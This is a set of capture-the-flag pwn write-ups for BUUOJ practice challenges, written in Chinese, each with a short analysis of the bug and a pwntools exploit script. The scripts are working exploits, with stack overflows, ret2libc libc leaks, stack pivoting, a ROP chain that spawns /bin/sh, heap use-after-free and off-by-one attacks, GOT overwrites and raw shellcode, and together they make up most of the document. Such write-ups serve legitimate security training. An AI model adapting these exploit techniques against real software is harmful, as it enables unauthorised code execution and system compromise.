mrctf2020_easyoverflow
fake_flag 是 n0t_r3@11y_f1@g
程序 gets 到的是 v4(rbp-0x70),然后对比的 v5 是在 rbp-0x40,输入 0x30 个字符之后再输入就是与 fake flag 对比的了
from pwn import *
p=process('./mrctf2020_easyoverflow')
#p=remote('node3.buuoj.cn',26974)
payload='a'*0x30+'n0t_r3@11y_f1@g'
p.sendline(payload)
p.interactive()
jarvisoj_level5
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p = remote('node3.buuoj.cn',28116)
p=process('./pwn')
elf = ELF('./pwn')
payload = 'a'*0x80 + 'a'*0x8
rdi_add = 0x4006b3
rsir15_add = 0x4006b1
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_add = elf.symbols['vulnerable_function']
payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_add = libc_base + libc.dump('system')
binsh_add =libc_base+libc.dump('str_bin_sh')
payload2 = payload + p64(rdi_add) + p64(binsh_add) + p64(sys_add)
p.recvuntil("Input:\n")
p.sendline(payload2)
p.interactive()
gyctf_2020_some_thing_exceting
去申请的时候会先申请 0x10 大小的 chunk 来存放用户申请的 chunk 的指针,free 的时候没有置为 NULL,存在 UAF
在一开始的时候会把 flag 读到 0x6020A8 这里,只要能 show 这个地址的内容就行
一开始申请两个与 0x10 不一样大的,然后 free 掉,再去申请 0x10 大小的时候就会申请到那个存储指针的那里,修改指针为 bss 段放 flag 的地址
#!/usr/bin/env python
from pwn import *
p=process("./pwn")
def create(size1,content1,size2,content2):
p.sendlineafter("want to do :","1")
p.sendlineafter("length : ",str(size1))
p.sendlineafter("ba : ",content1)
p.sendlineafter("length : ",str(size2))
p.sendlineafter("na : ",content2)
def delete(index):
p.sendlineafter("want to do :","3")
p.sendlineafter("Banana ID : ",str(index))
def show(index):
p.sendlineafter("what you want to do :","4")
p.sendlineafter("SCP project ID : ",str(index))
create(0x30,"yichen",0x20,"writeup")
create(0x30,"yichen",0x20,"writeup")
gdb.attach(p)
pause()
flag_addr=0x6020A8
delete(0)
delete(1)
create(0x10,p64(flag_addr),0x10,p64(flag_addr))
show(0)
p.interactive()
actf_2019_babystack
只能栈溢出 0x10 大小的,栈迁移
给出了写到的地址,一开始通过栈迁移执行 puts 函数来拿到函数的地址,从而获得 libc 的地址
然后再一次栈迁移执行 system 函数
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
p = process("./pwn")
#p=remote("node3.buuoj.cn",27254)
elf = ELF("./pwn")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = 0x04008F6
leave_ret = 0x400A4E
pop_rdi = 0x0400ad3
ret = 0x400709
p.sendlineafter(">","224")
p.recvuntil("0x")
address = int(p.recv(12),16)
payload1 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload1=payload1.ljust(0xd0,'a')
payload1 += p64(address-8) + p64(leave_ret)
p.send(payload1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
sys_addr = libcbase + libc.dump("system")
bin_sh = libcbase + libc.dump("str_bin_sh")
p.sendlineafter(">","224")
p.recvuntil("0x")
address = int(p.recv(12),16)
payload2 = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
payload2 = payload2.ljust(0xd0,'a')
payload2 += p64(address-8) + p64(leave_ret)
p.send(payload2)
p.interactive()
[-]axb_2019_brop64
如果不是 brop 的话只是一道经典的 ret2libc
测试出缓冲区大小
from pwn import*
context.log_level='debug'
def getsize():
i = 200
while 1:
try:
p = remote('node3.buuoj.cn',25413)
p.recvuntil("Please tell me:")
p.send(i*'a')
sleep(0.1)
data = p.recv()
p.close()
if "Goodbye" not in data:
return i-1
else:
i+=1
except EOFError:
p.close()
return i-1
size = getsize()
print "size is [%s]"%size
cmcc_pwnme2
返回到 gets 函数,往 strings 那里写入 flag 的路径然后用 exec_string() 给读出来
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"
#p = process("./pwnme2")
p=remote("node3.buuoj.cn",27892)
elf = ELF("./pwnme2")
gets_plt=elf.plt['gets']
pop_rdi=0x0400963
exec_string=0x80485CB
string=0x804A060
payload='a'*0x6c+'a'*4+p32(gets_plt)+p32(exec_string)+p32(string)
p.sendlineafter("input:\n",payload)
p.sendline('./flag')
p.interactive()
picoctf_2018_can_you_gets_me
静态链接的程序,直接 rop chain
ROPgadget —binary pwn —ropchain
# coding=utf-8
from pwn import *
context.log_level = "debug"
from struct import pack
#sh = process("./pwn")
sh = remote("node3.buuoj.cn",27195)
# Padding goes here
p = 'a'*28
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
sh.sendlineafter("GIVE ME YOUR NAME!\n",p)
sh.interactive()
hitcontraining_unlink
picoctf_2018_got_shell
有个后门,0x804854B,程序可以把 4 字节的内容写到一个地址上,把 puts 的 got 表写入后门的地址就行了
from pwn import *
p = remote('node3.buuoj.cn',25055)
elf = ELF("./pwn")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
win_addr=0x804854B
p.sendlineafter("byte value?",hex(puts_got))
p.recvuntil("write to")
p.sendlineafter("\n",hex(win_addr))
p.interactive()
npuctf_2020_easyheap
只能申请 26 跟 56 大小的 chunk,在一开始会申请 0x10 大小的 chunk,用来存放用户申请的 size 与指针
edit 的时候有一个 off by one,free 的时候存在 UAF
首先申请两个 0x20 的,因为还有存放用户申请的 size 与 指针的两个 0x20 大小程序自己申请的 chunk,现在一共是 4 个 0x20 大小的 chunk
现在编辑第 0 个(index 从 0 开始)通过 off by one 把 0x603290 也就是记录 index1 的那个 chunk 的 size 改为 0x41,然后把第一个 delete 掉,这样就有了一个 0x20 大小和一个 0x40 大小的 free chunk
接下来再去 create 一个 0x40 大小的,因为有个 0x20大小的 free chunk,所以会被用来放 size 与指针,但是他包含在我们申请的 0x20 中的,可以编辑掉,如果编辑为 atoi 的 got 表项就可以通过 show 来,以此得到 libc 的地址然后计算 system 的地址,然后再次编辑 system 函数直接输入 ‘/bin/sh\x00’ 就直接拿到 shell
from pwn import *
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
#p=remote('node3.buuoj.cn',25010)
context.log_level='debug'
def create(size,content):
p.sendlineafter("choice :",'1')
p.sendlineafter("(0x10 or 0x20 only) : ",str(size))
p.sendlineafter("Content:",content)
def edit(index,content):
p.sendlineafter("choice :","2")
p.sendlineafter("Index :",str(index))
p.sendlineafter("Content: ",content)
def show(index):
p.sendlineafter("choice :",'3')
p.sendlineafter("Index :",str(index))
def delete(index):
p.sendlineafter("choice :","4")
p.sendlineafter("Index :",str(index))
create(24,'yichen')
create(24,'writeup')
edit(0,'a'*0x18+'\x41')
delete(1)
create(56,'a'*0x18+p64(0x21)+p64(0x8)+p64(elf.got['atoi']))
show(1)
p.recvuntil("Content : ")
atoi_addr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
libc_base = atoi_addr - libc.symbols['atoi']
sys_addr = libc_base + libc.symbols['system']
edit(1,p64(sys_addr))
p.sendlineafter('Your choice :','/bin/sh\x00')
p.interactive()
ciscn_2019_s_9
存在栈溢出
hint 函数中 jmp esp 的地址 0x8048554
如果 shellcode 直接放后面会不够大
from pwn import *
p = process('./pwn')
jmpesp = 0x8048554
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode+(36-len(shellcode))*'a'+p32(jmpesp)
payload += asm('sub esp,40;jmp esp')
p.sendline(payload)
p.interactive()